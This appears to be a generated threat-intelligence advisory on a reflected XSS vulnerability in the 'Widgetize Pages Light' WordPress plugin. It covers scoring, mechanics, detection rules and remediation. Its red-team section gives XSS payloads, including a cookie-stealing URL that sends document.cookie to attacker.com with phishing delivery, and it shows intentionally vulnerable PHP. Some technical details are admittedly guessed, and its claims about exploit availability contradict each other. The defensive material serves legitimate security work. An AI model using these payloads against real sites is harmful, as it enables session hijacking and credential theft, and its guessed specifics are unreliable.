CVE-2025-22313
Executive Summary
CVE-2025-22313 is a Reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Widgetize Pages Light" by OTWthemes, affecting versions up to and including 3.0. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 7.1 (High), and no official patch or exploit code is publicly available at this time. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the risk remains for unpatched sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since no patch exists, site administrators must consider removing or replacing the plugin. The lack of vendor response increases supply chain risk for any site relying on this plugin.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must click a crafted link
- Scope: Changed (S:C) – injected script can affect other resources
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: High. Although no public exploit exists, the vulnerability is trivial to exploit once discovered, and the plugin is widely used in WordPress ecosystems.
Deep Dive & Mechanics
The vulnerability exists in the widgetize-pages-light plugin's handling of URL parameters. The plugin fails to sanitize or escape user-supplied input before reflecting it in the HTML response. Specifically, the plugin likely uses a parameter (e.g., page_id or widget) that is echoed directly into the page without proper encoding.
Attack Flow:
- Attacker crafts a malicious URL containing a JavaScript payload in a vulnerable parameter.
- Victim clicks the link (e.g., via phishing email or social engineering).
- The WordPress server processes the request and reflects the payload in the response.
- The victim's browser executes the injected script, allowing the attacker to steal cookies, redirect to malicious sites, or perform actions on behalf of the victim.
Root Cause: The plugin uses functions like echo $_GET['param'] or <?= $_GET['param'] ?> without applying esc_html(), esc_attr(), or wp_kses().
Vulnerable vs. Patched Code
Vulnerable Code (example):
<?php
// In widgetize-pages-light.php or similar
$page_id = $_GET['page_id'];
echo "<div class='widget-page' data-id='$page_id'>";
?>
Patched Code (hypothetical):
<?php
$page_id = isset($_GET['page_id']) ? intval($_GET['page_id']) : 0;
echo "<div class='widget-page' data-id='" . esc_attr($page_id) . "'>";
?>
Since no official patch exists, the above is a recommended fix. The key is to validate input as an integer and escape output using WordPress functions.
Exploitation & Lab Setup
Red Team (Proof of Concept)
Since no public exploit exists, the following is a conceptual PoC. Replace [VULNERABLE_SITE] with the target domain.
Step 1: Identify vulnerable parameter
- Visit
http://[VULNERABLE_SITE]/?page_id=test - If "test" appears in the page source without encoding, the parameter is vulnerable.
Step 2: Craft payload
http://[VULNERABLE_SITE]/?page_id=<script>alert('XSS')</script>
Step 3: Deliver to victim
- Use URL shorteners or phishing emails.
Step 4: Advanced payload (cookie theft)
http://[VULNERABLE_SITE]/?page_id=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor web server logs for requests containing
<script>oronerror=in query strings. - Use WAF rules to block reflected XSS patterns.
Hardening:
- Remove or disable the plugin immediately.
- If removal is not possible, apply a virtual patch via WAF (e.g., ModSecurity rule blocking
page_idparameter containing<script>). - Ensure WordPress core and all other plugins are updated.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests with
page_idparameter containing<script>,onerror,alert(, ordocument.cookie. - Outbound connections to unknown IPs/domains from the WordPress server.
- HTTP requests with
- File IOCs:
- Modified
.htaccessfiles (if attacker gains admin access). - Suspicious PHP files in
wp-content/plugins/widgetize-pages-light/.
- Modified
- Log IOCs:
- Repeated 404 or 200 responses to
/?page_id=<script>patterns. - User agents matching known botnets (e.g.,
Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)).
- Repeated 404 or 200 responses to
Detection Engineering
YARA Rule
rule CVE_2025_22313_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against Widgetize Pages Light plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-22313"
strings:
$xss1 = /page_id=[^&]*<script/i
$xss2 = /page_id=[^&]*onerror/i
$xss3 = /page_id=[^&]*alert\(/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against Widgetize Pages Light
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in the page_id parameter targeting Widgetize Pages Light plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-uri-query|contains:
- 'page_id=<script'
- 'page_id=onerror'
- 'page_id=alert('
condition: selection
falsepositives:
- Legitimate use of script tags in URLs (rare)
level: high
Suricata Rule
alert http any any -> $HOME_NET any (msg:"CVE-2025-22313 Reflected XSS in Widgetize Pages Light"; flow:to_server,established; content:"page_id="; nocase; content:"<script"; within:100; distance:0; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable/Remove Plugin: Deactivate and delete the
widgetize-pages-lightplugin from the WordPress admin panel. - Virtual Patching: If removal is not possible, deploy a WAF rule to block requests containing
page_id=<scriptor similar patterns. - Audit Logs: Review web server logs for any signs of exploitation (e.g., requests with XSS payloads).
Long-Term Actions:
- Monitor the OTWthemes vendor for an official patch.
- Replace the plugin with an alternative that is actively maintained.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Conduct regular security scans of WordPress plugins.
Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.